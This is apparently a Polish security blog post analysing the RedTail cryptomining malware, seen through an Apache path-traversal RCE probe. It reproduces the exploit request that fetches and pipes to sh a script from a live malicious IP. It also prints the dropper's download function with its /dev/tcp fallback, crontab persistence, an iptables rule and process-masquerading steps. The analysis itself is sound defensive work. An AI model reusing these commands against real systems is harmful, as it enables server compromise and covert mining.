W
sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 accept: */* host: 1.2.3.4:443 upgrade-insecure-requests: 1 user-agent: Custom-AsyncHttpClient content-length: 109 content-type: text/plain x-http-version: 1.1 x-remote-port: 52454 x-forwarded-for: 124.165.198.25 x-untrusted: 1 x-forwarded-proto: https X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \ echo \"$X\" | sh -s apache.selfrepBułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
According to source Cluster25:
This IPV4 is used by MIRAI. Mirai is a malware that created a big botnet of networked devices running Linux making them remotely controlled bots that can be used for large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers.
Pod koniec maja tego roku ten sam adres IP serwował ładunki dostępne pod adresami:
http://93.123.39.27/go.sh http://93.123.39.27/sh http://93.123.39.27/rŁadunek umieszczony w skrypcie powłoki bash w pierwszym kroku tworzy listę wszystkich katalogów, do których ma możliwość zapisu użytkownik, z którego prawami jest uruchamiany (wykluczając ścieżki: /proc, /sys, /tmp):
FOLDERS=$(find / -type d -user $(whoami) -perm -u=rwx -not -path "/proc/*" -not -path \ "/sys/*" -not -path "/tmp/*" 2>/dev/null)Lista ta jest później wykorzystana w pętli, która ma trzy zadania: po pierwsze sprawdzić czy w tych ścieżkach istnieje możliwość zapisu; po drugie czy jest tyle wolnego miejsca, aby zmieścił się dwu megabajtowy plik; po trzecie czy ścieżka nie jest zamontowana w systemie plików z flagą noexec. Do zebranej listy dodane są dodatkowo trzy popularne ścieżki, które najczęściej są zapisywalne przez dowolnego użytkownika: /tmp, /var/tmp oraz /dev/shm:
for i in $FOLDERS /tmp /var/tmp /dev/shm; do if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 \ >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then rm -rf .testfile .testfile2 if { command -v findmnt || type findmnt; } >/dev/null 2>&1 && ! findmnt -no OPTIONS \ "$i" | grep -qw noexec || ! grep -qw " $i " /proc/mounts | grep -qw noexec; then break fi fi doneJeśli wszystkie trzy powyższe warunki są spełnione to skrypt pozostaje w danej ścieżce wychodząc z pętli, aby pobrać plik binarny zgodny z architekturą maszyny:
ARCH=$(uname -mp) OK=true if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then dlr MZI8tbl3xS mv MZI8tbl3xS .redtail elif echo "$ARCH" | grep -q "i[3456]86"; then dlr euQiNdJEiy mv euQiNdJEiy .redtail elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then dlr tHidyOWcLx mv tHidyOWcLx .redtail elif echo "$ARCH" | grep -q "armv7"; then dlr IfKRcqijFQ mv IfKRcqijFQ .redtail else OK=false for a in MZI8tbl3xS euQiNdJEiy tHidyOWcLx IfKRcqijFQ; do dlr $a cat $a >.redtail chmod +x .redtail ./.redtail $1 >/dev/null 2>&1 rm -rf $a done fi if [ $OK = true ]; then chmod +x .redtail ./.redtail $1 >/dev/null 2>&1 fiJeśli skrypt nie jest w stanie określić poprawnie architektury to ściąga po kolei wszystkie pliki binarne i je uruchamia. Ściągnięcie pliku odbywa się dzięki funkcji dlr:
dlr() { wget http://93.123.39.27/$1 || curl -O http://93.123.39.27/$1 if [ $? -ne 0 ]; then exec 3"/dev/tcp/93.123.39.27/80" echo -e "GET /$1 HTTP/1.0\r\nHost: 93.123.39.27\r\n\r\n" >&3 (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1 exec 3>&- fi }Ciekawe jest w tej funkcji, iż jeżeli polecenie wget lub curl zawiedzie to wykorzystywane są czyste polecenia powłoki bash, które mogą również pobrać zawartość pliku. Plik binarny przed uruchomieniem zawsze ma zamienianą nazwę na .redtail (waży 1884 KB) i jest spakowany UPX:
agresor@stardust:~$ strings MZI8tbl3xS | grep UPX $UPX!H $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 4.23 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $Po uruchomieniu (PID: 12089) odczytuje plik: /sys/devices/virtual/dmi/id/product_name prawdopodobnie w celu wykrycia typu maszyny wirtualnej (T1082). Po tym fakcie następuje komunikacja sieciowa na porcie 853, czyli DNS over TLS do takich serwerów jak: ns1.opennameserver.org (217.160.70.42), ns2.opennameserver.org (178.254.22.166), ns3.opennameserver.org (81.169.136.222) oraz ns4.opennameserver.org (185.181.61.24) – tylko, iż po czystych adresach IP. Po komunikacji z serwerami DNS następuje komunikacja na port TCP 43782 (startowy port BTCPay Server – T1571) adresu IP: 194.59.31.109 – na dzień dzisiejszy listowany jest on jako jeden z hostów domeny: proxies.internetshadow.org, która tak mówi o swoich usługach:
At Internet Shadow, we specialize in providing top-notch services for operational security (OpSec) and internet anonymity. Our mission is to help you maintain privacy and security in the digital world. Whether you’re an individual concerned about personal privacy or an organization needing robust security measures, we have the expertise to assist you. Explore our services and discover how we can help you stay safe and anonymous online.
W dodatku adres ten jest strasznie hałaśliwy, ponieważ zaliczył aż 1513 raportów odnośnie skanowania portu SSH (22) innych serwerów w internecie. Dalej w naszym pliku binarnym następuje cykliczna komunikacja sieciowa z tym samym adresem IP, ale na porcie: 2137, gdzie moduł koparki krypto melduje się i prosi o przydzielenie prac:
{ "id":1, "jsonrpc":"2.0", "method":"login", "params":{ "login":"x", "pass":"x", "agent":"XMRig/6.21.2 (Linux x86_64) libuv/1.48.0 gcc/11.2.1", "algo":[ "cn/1", "cn/2", "cn/r", "cn/fast", "cn/half", "cn/xao", "cn/rto", "cn/rwz", "cn/zls", "cn/double", "cn/ccx", "rx/0", "rx/wow", "rx/arq", "rx/graft", "rx/sfx", "rx/keva", "argon2/chukwa", "argon2/chukwav2", "argon2/ninja" ] } }W odpowiedzi otrzymuje serię komunikatów JSON, które przydzielają jej konkretne obliczenia, na przykład:
{ "jsonrpc":"2.0", "id":1, "error":null, "result":{ "id":"685efaec33eb88de", "job":{ "blob":"1010a68cf3b20631edd99bdf0ed203b0fe491b47ecf98891f14d1020d14ed1c773ddf", "job_id":"536736", "target":"cc020000", "algo":"rx/0", "height":3162601, "seed_hash":"30696f1325f14d3562788eb388d9ed63909336b67f26164e60d34f0d82f9fc7b" }, "extensions":[ "algo", "nicehash", "connect", "tls", "keepalive" ], "status":"OK" } }Binarka po otrzymaniu swoich zadań obliczeniowych dla koparki zaczyna przechodzić do mechanizmu persystencji, który pozwoli jej utrzymać się w systemie choćby po restarcie serwera:
sh -c "command -v crontab >/dev/null 2>&1" sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /home/user/\.redtail\" | crontab -"Po udanej edycji crontab binarka przechodzi do otworzenia portu 12481 na maszynie, gdyby ta blokowała jakiś ruch przychodzący:
sh -c "iptables -I INPUT -p tcp --dport 12481 -j ACCEPT >/dev/null 2>&1"Wcześniej jej proces utworzył dokładnie na tym porcie gniazdo sieciowe:
Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM Bind protocol = IPPROTO_TCP, local_address = 0.0.0.0, local_port = 12481 Listen local_address = 0.0.0.0, local_port = 12481, queue_length = 128Ostatnim krokiem jest zamaskowanie swojego procesu. Co ciekawe, przed tym faktem binarka sprawdza czy może przyjąć nazwy popularnych serwerów i daemonów:
sh -c command -v php >/dev/null 2>&1 sh -c command -v nginx >/dev/null 2>&1 sh -c which apache2 sh -c which httpdJeśli ich nie znajduje – decyduje się ukryć np. pod procesem: “sshd: user@notty”. jeżeli sprawdzimy teraz jej oryginalny PID podany powyżej to już nie będzie on nazywał się .redtail tylko:
agresor@stardust:~$ cat /proc/12089/cmdline sshd: user@notty agresor@stardust:~$ cat /proc/12089/comm sshdA co się stanie jeżeli np. znajdzie zainstalowany serwer nginx? To zacznie maskować się jako jeden z jego wątków. O ile pamiętamy, jak badać szkodliwe procesy dzięki deskryptorów plików to bardzo gwałtownie możemy znaleźć, iż dany PID nie nasłuchuje na tym porcie, co powinien:
agresor@stardust:~$ cat /proc/12540/cmdline nginx: worker process agresor@stardust:~$ cat /proc/12540/comm nginx agresor@stardust:~$ ls -al /proc/12540/fd | grep socket lrwx------ 1 user user 64 Jun 2 22:47 14 -> 'socket:[155496]' lrwx------ 1 user user 64 Jun 2 22:47 2 -> 'socket:[68507]' lrwx------ 1 user user 64 Jun 2 22:47 8 -> 'socket:[70700]' agresor@stardust:~$ netstat -naplet | egrep '(155496|68507|70700)' tcp 0 0 0.0.0.0:12481 0.0.0.0:* LISTEN 1000 68507 12540/nginx: worker tcp 0 0 192.168.0.1:34616 194.59.31.109:43732 ESTABLISHED 1000 70700 12540/nginx: worker tcp 0 0 192.168.0.1:49296 194.59.31.109:2137 ESTABLISHED 1000 155496 12540/nginx: workerJak widzimy to nie jest port, na którym powinien nasłuchiwać serwer nginx, a w szczególności nie powinien on okupować 100% zajętości CPU.
Podsumowanie:
Szkodliwe oprogramowanie służące m.in. do kopania kryptowalut i atakowania innych serwerów o nazwie RedTail zostało po raz pierwszy udokumentowane przez Patryka Machowiaka w styczniu 2024 r. w związku z kampanią wykorzystującą lukę Log4Shell (CVE-2021-44228) w celu wdrażania szkodliwego systemu w systemach z rodziny *nix. Pod koniec maja raport firmy Akamai ponownie porusza temat tej rodziny w kontekście luki Palo Alto PAN-OS (CVE-2024-3400). Zapoznając się z treścią obydwu opracowań możemy zobaczyć, jak niektóre mechanizmy pozostają takie same i charakterystyczne dla tej rodziny, a inne podawane są lekkim modyfikacją i ewolucji – niektóre z nich odzwierciedlają taktyki stosowane przez grupę Lazarus, co prowadzi do pewnych spekulacji na temat źródeł ataków. Do arsenału tego zestawu narzędzi na bierząco dodawane są eksploity atakujące urządzenia IoT, aplikacje internetowe, serwery WWW oraz urządzenia typu SSL-VPN. Choć można bardzo łatwo wykryć tego typu aktywność – szczególnie na pierwszym etapie infekcji to przez cały czas większość serwerów i urządzeń opartych na systemach *nix nie posiada zainstalowanego żadnego systemu chroniącego przed złośliwym oprogramowaniem. W tym konkretnym przypadku atak został zatrzymany na poziomie niepodatnego (zaktualizowanego) serwera i wykryty przez system IDS – próbka pobrana manualnie i uruchomiona w bezpiecznym środowisku piaskownicy.
